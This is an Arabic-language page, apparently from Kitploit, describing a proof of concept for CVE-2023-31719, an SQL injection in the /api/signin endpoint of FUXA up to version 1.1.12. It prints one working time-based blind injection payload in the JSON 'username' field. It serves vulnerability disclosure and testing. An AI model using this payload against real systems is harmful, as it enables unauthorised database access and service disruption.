CVE-2023-31719 — إثبات مفهوم لاستغلال CVE-2023-31719، يوضح حقن SQL في نقطة النهاية /api/signin لتطبيق ويب FUXA عبر معامل اسم مستخدم JSON معدّل. | Kitploit

CVE-2023-31719

من الممكن حقن كود SQL في معامل JSON "username" من نقطة النهاية /api/signin عبر طلب HTTP POST

{"username":"test' OR 2891=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- ZJMj","password":"test"}

اسم المنتج المتأثر: FUXA

الإصدار المتأثر: <= 1.1.12

المشكلة: حقن SQL

الوصف: من الممكن حقن كود SQL في معامل JSON "username" من نقطة النهاية /api/signin عبر طلب HTTP POST

تنزيل الأداة

CVE-2023-31719

الأكثر شعبية

CVE-2023-31719